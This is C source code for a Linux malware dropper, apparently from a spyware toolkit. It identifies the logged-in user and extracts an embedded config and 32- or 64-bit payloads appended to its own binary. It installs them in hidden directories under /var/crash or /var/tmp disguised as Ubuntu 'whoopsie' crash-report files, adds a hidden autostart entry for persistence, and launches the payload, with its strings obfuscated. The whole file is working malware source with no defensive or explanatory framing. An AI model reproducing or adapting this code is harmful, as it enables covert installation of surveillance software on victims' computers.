/* DROPPER FORMAT -------------- [n] dropper [16] MARKER [8] TAG [4] j (little endian) [config size] [j] config [4] i (little endian) [core32 size] [i] core32 [4] i (little endian) [core64 size] [i] core64 [16] MARKER [4] n (little endian) [dropper size] */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include "so.h" #define MARKER "BmFyY5JhOGhoZjN1" struct passwd *getuser(void); int main(void); struct passwd *getuser(void) { struct passwd *p = NULL; char *env = NULL, *tok1 = NULL, *tok2 = NULL, buf[512]; FILE *fp = NULL, *pp = NULL; uid_t uid; pid_t ppid; struct stat s; glob_t g = {0}; int i; do { if((uid = getuid()) && (p = getpwuid(uid))) break; if((env = getenv(SO"SUDO_USER")) && strcmp(env, SO"root") && (p = getpwnam(env))) break; if((env = getenv(SO"USERNAME")) && strcmp(env, SO"root") && (p = getpwnam(env))) break; if((env = getenv(SO"USER")) && strcmp(env, SO"root") && (p = getpwnam(env))) break; if((env = getenv(SO"DEBCONF_PIPE")) && !stat(env, &s) && s.st_uid && (p = getpwuid(s.st_uid))) break; do { if(!(env = getenv(SO"DEBCONF_PIPE")) || (snprintf(buf, sizeof(buf), SO"%s-*", env) >= sizeof(buf))) break; if(glob(buf, GLOB_NOSORT, NULL, &g)) break; for(i = 0, uid = 0; i < g.gl_pathc; i++) { if(stat(g.gl_pathv[i], &s) || !s.st_uid) continue; if(uid && (uid != s.st_uid)) break; if(!uid) uid = s.st_uid; } if(i != g.gl_pathc) break; if(uid) p = getpwuid(uid); } while(0); globfree(&g); if(p) break; do { if(!(pp = popen(SO"who -q", "r"))) break; if(!fgets(buf, sizeof(buf), pp)) break; if(buf[0] && (buf[strlen(buf) - 1] == '\n')) buf[strlen(buf) - 1] = '\0'; for(tok1 = strtok(buf, " "), tok2 = NULL; tok1; tok2 = tok1, tok1 = strtok(NULL, " ")) if(tok2 && strcmp(tok2, tok1)) break; if(tok1) break; p = getpwnam(tok2); } while(0); if(pp) pclose(pp); if(p) break; for(ppid = getppid(); ppid > 1;) { if(snprintf(buf, sizeof(buf), SO"/proc/%d/stat", ppid) >= sizeof(buf)) break; if(stat(buf, &s)) break; if((s.st_uid) && (p = getpwuid(s.st_uid))) break; if(!(fp = fopen(buf, "r"))) break; if(fscanf(fp, SO"%*d %*s %*s %d", &ppid) != 1) { fclose(fp); break; } fclose(fp); } if(p) break; } while(0); return p; } int main(void) { int uid, gid; int arch = 0; struct utsname uts; struct passwd *p = NULL; struct stat s; FILE *dropper = NULL, *core = NULL, *config = NULL, *desktop = NULL; char *marker = MARKER, test[sizeof(MARKER) - 1], tag[9], buf[100 * 1024], path[256], installdir[256]; unsigned int i, size, ret = 0; pid_t pid; int lock; so(); do { if(uname(&uts)) break; arch = (strcmp(uts.machine, SO"x86_64") ? 32 : 64); if(!(p = getuser())) break; uid = p->pw_uid; gid = p->pw_gid; setenv(SO"USER", p->pw_name, 0); setenv(SO"HOME", p->pw_dir, 0); setenv(SO"DISPLAY", SO":0.0", 0); /* XXX determinare il corretto display dell'utente */ if(!(dropper = fopen(SO"/proc/self/exe", "r"))) break; setgid(gid); setuid(uid); if(fseek(dropper, -((sizeof(MARKER) - 1) + sizeof(unsigned int)), SEEK_END)) break; if(!fread(test, sizeof(MARKER) - 1, 1, dropper)) break; for(i = 0; ((i < (sizeof(MARKER) - 1)) && (marker[i] == test[i])); i++); if(i != (sizeof(MARKER) - 1)) break; if(!fread(&size, sizeof(unsigned int), 1, dropper)) break; if(fseek(dropper, size, SEEK_SET)) break; if(!fread(test, sizeof(MARKER) - 1, 1, dropper)) break; for(i = 0; ((i < (sizeof(MARKER) - 1)) && (marker[i] == test[i])); i++); if(i != (sizeof(MARKER) - 1)) break; if(!fread(tag, sizeof(tag) - 1, 1, dropper)) break; tag[sizeof(tag) - 1] = '\0'; do { if((snprintf(installdir, sizeof(installdir), SO"/var/crash/.reports-%u-%s", uid, tag) < sizeof(installdir)) && (!stat(installdir, &s) || !mkdir(installdir, 0750))) break; if((snprintf(installdir, sizeof(installdir), SO"/var/tmp/.reports-%u-%s", uid, tag) < sizeof(installdir)) && (!stat(installdir, &s) || !mkdir(installdir, 0750))) break; installdir[0] = '\0'; } while(0); if(!installdir[0]) break; if(snprintf(path, sizeof(path), SO"%s/.lock", installdir) >= sizeof(path)) break; if((lock = open(path, O_WRONLY|O_CREAT, 0600)) == -1) break; if(flock(lock, LOCK_EX|LOCK_NB)) break; close(lock); if(!fread(&size, sizeof(unsigned int), 1, dropper)) break; if(snprintf(path, sizeof(path), SO"%s/.cache", installdir) >= sizeof(path)) break; if(!(config = fopen(path, "w"))) break; while(size) { if(!fread(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, dropper)) break; if(!fwrite(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, config)) break; size -= ((size > sizeof(buf)) ? sizeof(buf) : size); } fclose(config); if(size) { unlink(path); break; } if(arch == 64) { if(!fread(&size, sizeof(unsigned int), 1, dropper)) break; if(fseek(dropper, size, SEEK_CUR)) break; } if(!fread(&size, sizeof(unsigned int), 1, dropper)) break; if(snprintf(path, sizeof(path), SO"%s/whoopsie-report", installdir) >= sizeof(path)) break; if(!(core = fopen(path, "w"))) break; while(size) { if(!fread(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, dropper)) break; if(!fwrite(buf, (size > sizeof(buf)) ? sizeof(buf) : size, 1, core)) break; size -= ((size > sizeof(buf)) ? sizeof(buf) : size); } fclose(core); if(size) { unlink(path); break; } chmod(path, 0755); if(snprintf(path, sizeof(path), SO"%s/.config", p->pw_dir) >= sizeof(path)) break; mkdir(path, 0700); if(snprintf(path, sizeof(path), SO"%s/.config/autostart", p->pw_dir) >= sizeof(path)) break; mkdir(path, 0700); if(snprintf(path, sizeof(path), SO"%s/.config/autostart/.whoopsie-%s.desktop", p->pw_dir, tag) >= sizeof(path)) break; if(!(desktop = fopen(path, "w"))) break; fprintf(desktop, SO"[Desktop Entry]%c", '\n'); fprintf(desktop, SO"Type=Application%c", '\n'); fprintf(desktop, SO"Exec=%s/whoopsie-report%c", installdir, '\n'); fprintf(desktop, SO"NoDisplay=true%c", '\n'); fprintf(desktop, SO"Name=whoopsie%c", '\n'); fprintf(desktop, SO"Comment=Whoopsie Report Manager%c", '\n'); fclose(desktop); snprintf(path, sizeof(path), SO"%s/whoopsie-report", installdir); if((pid = fork()) == -1) break; if(!pid) { fclose(dropper); execl(path, path, NULL); } ret = 1; } while(0); if(dropper) fclose(dropper); exit(ret ? EXIT_SUCCESS : EXIT_FAILURE); } .